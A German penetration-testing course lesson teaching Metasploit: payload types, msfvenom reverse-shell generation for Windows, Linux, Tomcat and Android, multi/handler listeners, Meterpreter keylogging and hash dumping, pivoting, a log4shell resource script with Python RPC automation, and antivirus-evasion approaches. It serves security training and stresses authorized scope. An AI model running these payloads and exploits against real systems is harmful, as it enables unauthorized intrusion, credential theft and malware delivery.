Zum Hauptinhalt springen

Metasploit — Grundlagen

Metasploit ist das Framework, das die Ausnutzung von Schwachstellen industrialisiert hat. 2200 Exploits, 1500 Auxiliaries, 700 Payloads, alles fertig, alles gepflegt, alles anschließbar. Diese Woche lernen Sie, es zu benutzen, ohne davon abhängig zu werden: wann es hilft, wann es stört.

Erinnerung

Jedes run in Metasploit sendet Exploit-Code an ein Ziel. Im Lab kein Problem. Im Auftrag muss Ihre RoE die aktive Ausnutzung ausdrücklich erlauben. Ein schlecht abgegrenztes run = ein ausfallender Dienst = ein verärgerter Kunde.

Was Sie nach dieser Lektion können werden​

  • Die vier Bausteine des Frameworks benennen: Exploit, Payload, Encoder, Listener.
  • Einen passenden Payload für das Ziel wählen (Windows 32/64, Linux, ohne Stager, mit Stager).
  • msfvenom verwenden, um einen eigenständigen Payload zu erstellen (EXE, WAR, ELF, APK, Shellcode).
  • Eine Exploit-Kette mit resource scripts und msfrpc automatisieren.
  • Von einer Sitzung zu einem echten Pivot wechseln, um das interne Netzwerk zu testen.
  • Wissen, wann Metasploit nicht eingesetzt werden sollte.

1. Metasploit als gedankliches Bild​

Drei Schichten. Merken Sie sie sich.

                                ZIEL
↑
┌───┴───┐
│Exploit │ (löst die Schwachstelle aus: Buffer Overflow, RCE, Injection ...)
└───┬───┘
↓
┌───┴───┐
│Payload │ (der Code, der beim Ziel ausgeführt wird: Shellcode, Meterpreter)
└───┬───┘
↓
Netzwerk
↓
┌───┴───┐
│Listener│ (beim Angreifer, wartet auf die Rückverbindung)
└───────┘

Der Exploit öffnet die Tür. Der Payload tritt ein. Der Listener holt die Verbindung zurück.


2. Die großen Exploit-Familien​

In msfconsole:

show exploits

Es gibt zu viele. Wir gruppieren sie:

FamilieWas sie enthält
exploit/windows/smb/EternalBlue, PsExec, SMB relay…
exploit/windows/http/IIS, ASP.NET, Exchange, SharePoint.
exploit/linux/http/Apache, Nginx, Struts, log4j (in exploit/multi/http/).
exploit/multi/http/Betriebssystemübergreifende Webangriffe (log4j, PHPUnit, Confluence …).
exploit/unix/ftp/, unix/misc/vsftpd-Backdoor, distccd usw.
auxiliary/scanner/Keine Exploits — leichte Scanner (SMB-Versionen, LDAP-Login, MySQL).
post/Nach der Ausnutzung: Rechteausweitung, Dumping, Pivoting.
evasion/Erzeugung von AV-umgehenden Binärdateien.

Tipp: search cve:2021-44228 sucht nach CVE (in diesem Fall log4shell). Deutlich zuverlässiger als die Suche nach Anwendungsnamen.


3. Die Payloads — die Wahl, die zählt​

Zwei Dimensionen.

3.1. Mit oder ohne Stager​

  • Ohne Stager (_reverse_tcp): eine vollständige Binärdatei wird auf einmal gesendet. Einfach, groß, leichter erkennbar.
  • Mit Stager (_reverse_tcp ist eigentlich schon gestaged): Zuerst wird ein kleiner Loader gesendet, der bei Ihnen zurückruft und den eigentlichen Payload herunterlädt. Diskreter, aber fragiler (zwei Hin- und Rückwege).

Auf modernen Zielen mit Antivirensoftware kommen gestagte Payloads oft besser durch.

3.2. Meterpreter oder einfache Shell​

  • meterpreter: vollständiger Metasploit-Agent. Verschlüsselt (TLS), viele Befehle, Pivoting, Upload, Screenshots, Speicherauslesung. Mächtig, aber von Antivirenprogrammen stark signaturerkannt.
  • shell_reverse_tcp: nur eine Reverse-Shell (/bin/sh oder cmd.exe). Simpel, unauffällig, funktioniert überall.
  • shell_reverse_tls: TLS-verschlüsselte Reverse-Shell. Kompromiss zwischen Unauffälligkeit und Zuverlässigkeit.

Namensschema:

<OS>/<arch>/<payload>/<transport>

Beispiele:

  • windows/x64/meterpreter/reverse_tcp
  • linux/x86/shell_reverse_tcp
  • java/meterpreter/reverse_https
  • php/meterpreter/reverse_tcp
  • python/meterpreter/reverse_tcp

3.3. Kompatibilität — Fallstricke​

  • windows/x64/… funktioniert nicht auf einem 32-Bit-Windows. Prüfen Sie sysinfo nach dem ersten Zugriff.
  • Ein java/*-Payload ist betriebssystemneutral, erfordert aber eine JVM. Nützlich für Tomcat/JBoss.
  • Ein php/*-Payload wird in einem PHP-Kontext ausgeführt (RFI/LFI). Kein vollständiges Meterpreter.

Regel: set PAYLOAD explizit setzen. Lassen Sie Metasploit niemals raten.


4. msfvenom — Ihren eigenen Payload erstellen​

Wenn ein Exploit außerhalb von Metasploit einen Payload benötigt, erstellt man ihn mit msfvenom (Nachfolger von msfpayload + msfencode).

Syntax:

msfvenom -p <payload> LHOST=<votre_ip> LPORT=<port> -f <format> -o <fichier>

Häufige Beispiele:

# Windows-EXE (gestagtes Reverse TCP)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-f exe -o payload.exe

# Linux-ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-f elf -o payload.elf

# WAR (zum Deployment auf Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-f war -o pwn.war

# Android-APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-o pwn.apk

# PowerShell-Einzeiler
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-f psh-cmd -o cmd.ps1

# Roher Shellcode (zum Einbetten in einen eigenen Exploit)
msfvenom -p linux/x64/exec CMD="/bin/bash -i" -f raw -o shellcode.bin

Encoding für den Versuch der AV-Umgehung (2026 nur mäßig wirksam):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... \
-e x64/xor_dynamic -i 5 -f exe -o payload.exe

Die Encoder von Metasploit sind allen Antivirenprogrammen bekannt. Für echte Umgehung braucht es Donut, Nim/Rust-Loader, Sliver, Havoc, Mythic — das sprengt jedoch den Rahmen eines klassischen Pentest-Kurses.


5. Multi/Handler — eine Shell ohne Exploit abfangen​

Wenn ein Exploit außerhalb von Metasploit durchgeführt wird (ein mit msfvenom erzeugter Payload wird auf anderem Weg abgelegt und ausgeführt), möchte man trotzdem eine Metasploit-Sitzung erhalten. Das ist die Aufgabe von multi/handler:

msfconsole -q

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.5
set LPORT 4444
set ExitOnSession false
run -j

run -j = Job. Der Handler läuft im Hintergrund und ist bereit zum Empfang. Sie können die Ausführung des Payloads auf dem Ziel auslösen (per E-Mail, per Web-Exploit, per geplanter Aufgabe) — die Shell landet im Handler.


6. Meterpreter — das Schweizer Taschenmesser in der Sitzung​

Sobald Sie meterpreter > erhalten haben:

sysinfo                        # Betriebssystem, Architektur, Domäne, Sprache
getuid # wer bin ich?
getprivs # welche Windows-Rechte?
ps # Prozesse
migrate <PID> # zu einem anderen Prozess wechseln (Stabilität)
screenshot # Bildschirmfoto
keyscan_start / keyscan_dump # Keylogger
hashdump # NTLM-Hashes der lokalen Konten (erfordert SYSTEM)
upload / download # Übertragungen
shell # echte Betriebssystem-Shell

Unter Linux:

sysinfo, getuid, ps, upload, download, shell, portfwd

Wertvoller Befehl:

run post/multi/recon/local_exploit_suggester

Schlägt lokale Exploits zur Rechteausweitung vor (Modul 9).


7. Pivoting — einen kompromittierten Rechner nutzen, um weiter anzugreifen​

Das ist der eigentliche Mehrwert von Metasploit bei komplexen Aufträgen. Sie haben eine Shell auf 10.10.10.20. Von diesem Rechner aus sehen Sie ein weiteres Netzwerk 192.168.100.0/24. Sie möchten dieses Netzwerk von Kali aus scannen, indem Sie über den kompromittierten Rechner gehen.

7.1. Meterpreter-Autoroute​

meterpreter > run autoroute -s 192.168.100.0/24

Metasploit fügt eine interne Route hinzu: Der gesamte Metasploit-Verkehr zu 192.168.100.0/24 läuft über die Meterpreter-Sitzung.

Scannen Sie das interne Netzwerk aus msfconsole heraus:

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.100.0/24
set PORTS 22,80,445,3389
run

Der Datenverkehr verlässt das kompromittierte Ziel, nicht Ihr Kali. Unauffällig.

7.2. SOCKS-Proxy für externe Tools​

Sie möchten nmap, curl, sqlmap von Kali aus verwenden, aber der Datenverkehr soll über das Ziel laufen:

use auxiliary/server/socks_proxy
set VERSION 5
run -j

Konfigurieren Sie proxychains (/etc/proxychains.conf):

socks5  127.0.0.1 1080

Und:

proxychains nmap -sT -Pn -p 22,80,445 192.168.100.10
proxychains curl http://192.168.100.10/

Ihre Anfragen erscheinen, als kämen sie vom kompromittierten Ziel. Das ist der Standard-Pivot.


8. Resource-Skripte — automatisieren, ohne die Nachvollziehbarkeit zu verlieren​

Ein resource script (.rc) ist eine Textdatei mit msfconsole-Befehlen, die der Reihe nach ausgeführt werden.

log4shell.rc:

workspace log4shell-mission
use exploit/multi/http/log4shell_header_injection
set RHOSTS file:cibles.txt
set RPORT 8080
set LHOST 10.10.10.5
set LPORT 4444
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set ExitOnSession false
run -j

Start:

msfconsole -q -r log4shell.rc

Bewährte Praxis:

  • Ein .rc pro Angriff oder pro Welle.
  • Versionierung in Git (privat).
  • Den Befehl vor dem Start mit Uhrzeit in eine Datei commandes.md kopieren.

Ohne das wird ein Abschlussbericht zu einer archäologischen Gedächtnisübung.


9. msfrpc und pymetasploit3 — Steuerung mit Python​

Um in großem Maßstab zu automatisieren, stellt Metasploit eine RPC-API bereit:

sudo msfrpcd -P monpass -S -a 127.0.0.1

Aus Python heraus:

from pymetasploit3.msfrpc import MsfRpcClient

client = MsfRpcClient('monpass', server='127.0.0.1')
exploit = client.modules.use('exploit', 'multi/http/log4shell_header_injection')
exploit['RHOSTS'] = '10.10.10.20'
exploit['LHOST'] = '10.10.10.5'
payload = client.modules.use('payload', 'linux/x64/meterpreter/reverse_tcp')
payload['LHOST'] = '10.10.10.5'
payload['LPORT'] = 4444
exploit.execute(payload=payload)

# Warten und dann die offenen Sitzungen auflisten
import time; time.sleep(15)
print(client.sessions.list)

Nützlich, um mehrere Sitzungen zu orchestrieren, mit einem externen Tool zu korrelieren oder in ein internes Dashboard zu integrieren.


10. Antivirus und EDR — die blockierende Mauer​

Im Jahr 2026 erkennt ein aktueller Windows Defender Standard-Meterpreter-Payloads sofort. Eine unverändert erzeugte payload.exe wird schon beim Kopieren erkannt.

Techniken, um durchzukommen (im Rahmen eines Pentests, nicht eines echten Red Teams):

  1. Handgeschriebener, kompilierter Loader in C/C#/Nim/Rust, der den Shellcode lädt. Aktuell kommt das noch oft durch.
  2. PowerShell-Verschleierung: Invoke-Obfuscation, Laden im Speicher (Reflection.Assembly::Load). Amber, Base64, AES-Verschlüsselung.
  3. Living off the Land: wmic, certutil, bitsadmin, mshta zum Herunterladen und Ausführen — keine Binärdatei bleibt auf der Festplatte zurück.
  4. Sliver / Havoc / Mythic: moderne C2-Frameworks, die Meterpreter für den Umgehungsteil ersetzen.

Für den Kurs: Im Lab wird Defender deaktiviert. Für das Training zur Umgehung gibt es ein eigenes Modul 8 (Advanced Payload Development).


11. Wann Metasploit nicht eingesetzt werden sollte​

Drei Fälle:

  1. Eine RoE, die Metasploit ausdrücklich verbietet. Manche Kunden schließen es aus (Angst vor Lärm, Angst vor Fehlalarmen, Präferenz für eigenen Code).
  2. Der Exploit existiert bereits in 20 Zeilen Python, und Sie brauchen keinen vollständigen Stager. Laden Sie Metasploit nicht für ein nc + ein fest codiertes Passwort.
  3. Das Ziel verfügt über ein modernes, gut konfiguriertes EDR. Meterpreter wird sofort Alarm schlagen. Greifen Sie auf unauffälligere Tools zurück.

Ein erfahrener Pentester setzt Metasploit gezielt ein, nicht systematisch.


12. Was Sie sich merken sollten​

  • Exploit + Payload + Listener = die drei Bausteine. Immer in dieser Reihenfolge.
  • msfvenom erstellt einen eigenständigen Payload für den Einsatz außerhalb von Metasploit.
  • Meterpreter ist mächtig, aber laut. shell_reverse_tcp ist simpel, aber unauffällig.
  • multi/handler fängt eine Shell ohne Exploit ab — nützlich im Zusammenspiel mit msfvenom.
  • autoroute + socks_proxy = Standard-Pivoting.
  • Automatisieren Sie mit .rc und msfrpc, aber schreiben Sie jeden Befehl auf, bevor Sie ihn ausführen.
  • Im Jahr 2026 blockiert Defender Metasploit unverändert. Planen Sie einen Loader ein.

Nächste Lektion: drei durchgängige Metasploit-Angriffe, einschließlich eines Pivots von einem Linux-Ziel zu einem internen Subnetz. Das ist der offensivste Teil des Kurses.